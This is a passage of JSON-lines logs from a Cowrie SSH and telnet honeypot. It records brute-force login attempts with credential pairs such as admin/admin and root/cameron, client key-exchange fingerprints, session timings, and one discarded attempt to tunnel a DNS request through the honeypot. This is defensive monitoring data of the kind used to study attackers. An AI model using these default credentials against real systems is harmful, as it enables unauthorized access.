AAAAB3NzaC1yc2EAAAADAQABAAACAQChHkwT9UQLh2tKmpMkzen3rxwDwkChZjbyHT0+MXMuJNrqQm4rzLisc+xGSYU0/zwjddt5e1qla5DdMYi62LCCtoHFjVU77KmagQy4JXapY42e7MQ79Gd6zJet41meTd/U/ofDUFYG59YL6GQmqkv2q7ohsWq7mB+e8aGLyMRpzwErTcHncCVC0fGsgXmBptNQAGXUoaNbgjcAy+HR2f+XCzns9zNLAUcNPjr29l3otNZN99qeLtGW/GYrn3ML6IiI1tQdVf3VmyQZZ8X5AJGRtsIVhBxaI7rWaGU9styyAO/xi3SbuPUJIwEk4/9xH5X2gP9210p/ki9tpVcfC8Goa8TYlcmkz0RxQxx4vqQnJTNG8tC9wsnQqh93AyoSjlRI6zmY8LEH+xCt6C9UphWksp9hFgYsx9cK7vJd7ZswSOQ+tExFfW0doDJyQEs1k4+qeL9y0SW1ZF7+J5PKvUJbFrxAWdpEBaI0krarfoxmICUak5Ssmjx/DAaM7WRt5g/9mHeX8VyiGeBlc1QZdXnRuNyCyFdCPRIyjnjSBEw6BrcoiuDhVxS7eD14MG+p7hJivSObd42rWeowBHjv7CxvfRND6YM2h+CAxzGAGd2Y1oPG4kYG9L1/pN2e7xTjxXFrWDGIG+HkjJXVnZdrDjFTbgOgsNtgBte4UXop6PbRGw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.144901Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"b2:af:bd:56:ad:9a:97:3f:e0:b6:f1:12:8c:44:5c:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwffUc86hQvVXIb71UNovrfR1SB0qjkpOuwlN7QsJHp7XY3vkj3WZ3GDIGYnf+/RKQpWJ3RqQ3fjKz3U4jJbs62cFMbiwT6ixxyM03HiDC/lUiXozlrVvQsYjmIzmzoRoxsg0U/3QnZ1UbuQlAe0NkLZWhgmJMJfWt/DMfrmRSk14qw5qfVrwCpP0HyIBb7i6RdCakaRRwfOTynsX8NmAU70yzr8vGdFs4cD86XuI3gL9sb9FdlnwTPltOLHBtSKMFJRebiw6zpZfvwEUBCrkRjS4CXCgFD+3dQVDB/qsl/1xNKN8riz3ejJxpYZ0lK78/NWNlFbDS1rvSKOpQYF6tw==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint b2:af:bd:56:ad:9a:97:3f:e0:b6:f1:12:8c:44:5c:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.275463Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"b2:af:bd:56:ad:9a:97:3f:e0:b6:f1:12:8c:44:5c:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEAwffUc86hQvVXIb71UNovrfR1SB0qjkpOuwlN7QsJHp7XY3vkj3WZ3GDIGYnf+/RKQpWJ3RqQ3fjKz3U4jJbs62cFMbiwT6ixxyM03HiDC/lUiXozlrVvQsYjmIzmzoRoxsg0U/3QnZ1UbuQlAe0NkLZWhgmJMJfWt/DMfrmRSk14qw5qfVrwCpP0HyIBb7i6RdCakaRRwfOTynsX8NmAU70yzr8vGdFs4cD86XuI3gL9sb9FdlnwTPltOLHBtSKMFJRebiw6zpZfvwEUBCrkRjS4CXCgFD+3dQVDB/qsl/1xNKN8riz3ejJxpYZ0lK78/NWNlFbDS1rvSKOpQYF6tw==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.279752Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.410416Z","src_ip":"188.44.20.33","session":"f6e22548eea0","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36192,"dst_ip":"159.203.135.109","dst_port":23,"session":"9ceb6879a552","protocol":"telnet","message":"New connection: 128.199.8.54:36192 (159.203.135.109:23) [session: 9ceb6879a552]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:10.700096Z"}
{"eventid":"cowrie.session.closed","duration":31.23602032661438,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:23.619239Z","src_ip":"45.148.121.166","session":"014e8d4ee0d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.181713342666626,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:24.410321Z","src_ip":"45.148.121.166","session":"65b15cf08f7f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"193.24.211.100","src_port":52841,"dst_ip":"159.203.135.109","dst_port":22,"session":"8004ab61a06c","protocol":"ssh","message":"New connection: 193.24.211.100:52841 (159.203.135.109:22) [session: 8004ab61a06c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:24.893759Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:24.900840Z","src_ip":"193.24.211.100","session":"8004ab61a06c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:25.015840Z","src_ip":"193.24.211.100","session":"8004ab61a06c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"cameron","message":"login attempt [root/cameron] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:25.440861Z","src_ip":"193.24.211.100","session":"8004ab61a06c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:26.553947Z","src_ip":"193.24.211.100","session":"8004ab61a06c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51978,"dst_ip":"159.203.135.109","dst_port":23,"session":"69242ce83fa8","protocol":"telnet","message":"New connection: 128.199.8.54:51978 (159.203.135.109:23) [session: 69242ce83fa8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:32.968976Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53920,"dst_ip":"159.203.135.109","dst_port":23,"session":"80d4594d2a4e","protocol":"telnet","message":"New connection: 128.199.8.54:53920 (159.203.135.109:23) [session: 80d4594d2a4e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:33.973822Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":58168,"dst_ip":"159.203.135.109","dst_port":23,"session":"bf637f70181d","protocol":"telnet","message":"New connection: 128.199.8.54:58168 (159.203.135.109:23) [session: bf637f70181d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:37.140354Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":39584,"dst_ip":"159.203.135.109","dst_port":23,"session":"2a73a1ef7495","protocol":"telnet","message":"New connection: 128.199.8.54:39584 (159.203.135.109:23) [session: 2a73a1ef7495]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:43.022594Z"}
{"eventid":"cowrie.session.closed","duration":35.07989311218262,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:43.400987Z","src_ip":"128.199.8.54","session":"08a82044e1e2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.76912474632263,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:44.112326Z","src_ip":"128.199.8.54","session":"2df073f0bd0b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.9534592628479,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:44.653418Z","src_ip":"128.199.8.54","session":"9ceb6879a552","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.545714378356934,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:45.154708Z","src_ip":"128.199.8.54","session":"8f0a3ab3564a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"87.251.64.176","src_port":11768,"dst_ip":"10.17.0.5","dst_port":22,"session":"8feac7a4ab42","protocol":"ssh","message":"New connection: 87.251.64.176:11768 (10.17.0.5:22) [session: 8feac7a4ab42]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.119543Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.130971Z","src_ip":"87.251.64.176","session":"8feac7a4ab42","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"eff4c24daffc8532c160e86e5f006e53","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group14-sha1,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group14-sha1","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: eff4c24daffc8532c160e86e5f006e53","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.227659Z","src_ip":"87.251.64.176","session":"8feac7a4ab42","protocol":"ssh"}
{"eventid":"cowrie.login.success","username":"admin","password":"admin","message":"login attempt [admin/admin] succeeded","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.517506Z","src_ip":"87.251.64.176","session":"8feac7a4ab42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.request","dst_ip":"1.1.1.1","dst_port":53,"src_ip":"87.251.64.176","src_port":0,"message":"direct-tcp connection request to 1.1.1.1:53 from 0.0.0.0:0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.617364Z","session":"8feac7a4ab42","protocol":"ssh"}
{"eventid":"cowrie.direct-tcpip.data","dst_ip":"1.1.1.1","dst_port":53,"data":"b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","id":0,"message":"discarded direct-tcp forward request 0 to 1.1.1.1:53 with data b'\\x00\\x16\\xab\\xcd\\x01\\x00\\x00\\x01\\x00\\x00\\x00\\x00\\x00\\x00\\x01a\\x02to\\x00\\x00\\x01\\x00\\x01'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.715641Z","src_ip":"87.251.64.176","session":"8feac7a4ab42","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.7","message":"Connection lost after 0.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:04:54.815294Z","src_ip":"87.251.64.176","session":"8feac7a4ab42","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":47106,"dst_ip":"159.203.135.109","dst_port":23,"session":"60ecb2a4437e","protocol":"telnet","message":"New connection: 128.199.8.54:47106 (159.203.135.109:23) [session: 60ecb2a4437e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:00.200035Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":48974,"dst_ip":"159.203.135.109","dst_port":23,"session":"4b3a72e212d1","protocol":"telnet","message":"New connection: 128.199.8.54:48974 (159.203.135.109:23) [session: 4b3a72e212d1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:00.215605Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":50686,"dst_ip":"159.203.135.109","dst_port":23,"session":"c58e8a6038d2","protocol":"telnet","message":"New connection: 128.199.8.54:50686 (159.203.135.109:23) [session: c58e8a6038d2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:01.099349Z"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":51670,"dst_ip":"159.203.135.109","dst_port":23,"session":"47aac7420e1c","protocol":"telnet","message":"New connection: 128.199.8.54:51670 (159.203.135.109:23) [session: 47aac7420e1c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:01.654089Z"}
{"eventid":"cowrie.session.closed","duration":120.00489854812622,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:05.111221Z","src_ip":"212.55.149.117","session":"a7d81b54a2d9","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.21251916885376,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:06.181365Z","src_ip":"128.199.8.54","session":"69242ce83fa8","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":34720,"dst_ip":"159.203.135.109","dst_port":23,"session":"baf1a901427a","protocol":"telnet","message":"New connection: 128.199.8.54:34720 (159.203.135.109:23) [session: baf1a901427a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:07.381237Z"}
{"eventid":"cowrie.session.closed","duration":34.349809885025024,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:08.323492Z","src_ip":"128.199.8.54","session":"80d4594d2a4e","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":38922,"dst_ip":"159.203.135.109","dst_port":23,"session":"11fb57adf51b","protocol":"telnet","message":"New connection: 128.199.8.54:38922 (159.203.135.109:23) [session: 11fb57adf51b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:09.454377Z"}
{"eventid":"cowrie.session.closed","duration":33.435922145843506,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:10.576000Z","src_ip":"128.199.8.54","session":"bf637f70181d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.487924098968506,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:14.510368Z","src_ip":"128.199.8.54","session":"2a73a1ef7495","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":55500,"dst_ip":"159.203.135.109","dst_port":23,"session":"64ae304554aa","protocol":"telnet","message":"New connection: 128.199.8.54:55500 (159.203.135.109:23) [session: 64ae304554aa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:17.687709Z"}
{"eventid":"cowrie.session.connect","src_ip":"212.55.149.117","src_port":61532,"dst_ip":"10.17.0.5","dst_port":23,"session":"8500097cad07","protocol":"telnet","message":"New connection: 212.55.149.117:61532 (10.17.0.5:23) [session: 8500097cad07]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:21.285954Z"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":42730,"dst_ip":"159.203.135.109","dst_port":22,"session":"ff2e0f7102d6","protocol":"ssh","message":"New connection: 2.57.122.208:42730 (159.203.135.109:22) [session: ff2e0f7102d6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:23.443444Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:23.462163Z","src_ip":"2.57.122.208","session":"ff2e0f7102d6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:23.575421Z","src_ip":"2.57.122.208","session":"ff2e0f7102d6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"123","message":"login attempt [sol/123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:24.083901Z","src_ip":"2.57.122.208","session":"ff2e0f7102d6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:25.326276Z","src_ip":"2.57.122.208","session":"ff2e0f7102d6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"45.148.121.166","src_port":44330,"dst_ip":"159.203.135.109","dst_port":23,"session":"0d427507bfab","protocol":"telnet","message":"New connection: 45.148.121.166:44330 (159.203.135.109:23) [session: 0d427507bfab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:32.456852Z"}
{"eventid":"cowrie.session.closed","duration":32.30140495300293,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:32.501308Z","src_ip":"128.199.8.54","session":"60ecb2a4437e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":33.77620530128479,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:34.875460Z","src_ip":"128.199.8.54","session":"c58e8a6038d2","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":34.68470501899719,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:34.900212Z","src_ip":"128.199.8.54","session":"4b3a72e212d1","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.09492802619934,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:36.748887Z","src_ip":"128.199.8.54","session":"47aac7420e1c","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":35.06900119781494,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:42.450102Z","src_ip":"128.199.8.54","session":"baf1a901427a","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":53226,"dst_ip":"159.203.135.109","dst_port":23,"session":"cc0b918abc9e","protocol":"telnet","message":"New connection: 128.199.8.54:53226 (159.203.135.109:23) [session: cc0b918abc9e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:44.556074Z"}
{"eventid":"cowrie.session.closed","duration":35.86173701286316,"message":"Connection lost after 35 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:45.315982Z","src_ip":"128.199.8.54","session":"11fb57adf51b","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":36320,"dst_ip":"159.203.135.109","dst_port":23,"session":"853b708718ec","protocol":"telnet","message":"New connection: 128.199.8.54:36320 (159.203.135.109:23) [session: 853b708718ec]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:50.015004Z"}
{"eventid":"cowrie.session.closed","duration":33.86239218711853,"message":"Connection lost after 33 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:05:51.549997Z","src_ip":"128.199.8.54","session":"64ae304554aa","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"128.199.8.54","src_port":57800,"dst_ip":"159.203.135.109","dst_port":23,"session":"c6cc613be695","protocol":"telnet","message":"New connection: 128.199.8.54:57800 (159.203.135.109:23) [session: c6cc613be695]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T11:06:01.193087Z"}
